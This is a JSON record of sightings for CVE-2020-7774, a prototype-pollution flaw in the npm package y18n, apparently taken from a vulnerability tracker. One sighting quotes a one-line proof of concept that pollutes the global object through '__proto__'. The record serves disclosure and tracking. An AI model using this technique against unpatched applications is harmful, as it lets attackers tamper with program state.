{"vulnerability": "cve-2020-7774", "sightings": [{"uuid": "2a80aa1f-0099-46c6-ac6e-5b1971a8672e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7774", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/16436", "content": "\u203c CVE-2020-7774 \u203c\n\nThis affects the package y18n before 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-11-17T16:39:02.000000Z"}, {"uuid": "e4e8d39b-6975-4ac4-b247-db8eec2fa3ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2020-7774", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-c4w7-xm78-47vh", "content": "", "creation_timestamp": "2021-03-29T16:05:12.000000Z"}, {"uuid": "1db52de1-a267-4583-82ca-93ef7ce11970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7774", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mum6vqglbu2b", "content": "CVE-2020-7774 - y18n\nThe y18n package, used for internationalization, allows an attacker to inject malicious code into the global scope, potentially leading to unexpected behavior or security issues. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#y18n #ossbot #npm #CVE #infosec", "creation_timestamp": "2026-09-03T10:00:07.533701Z"}]}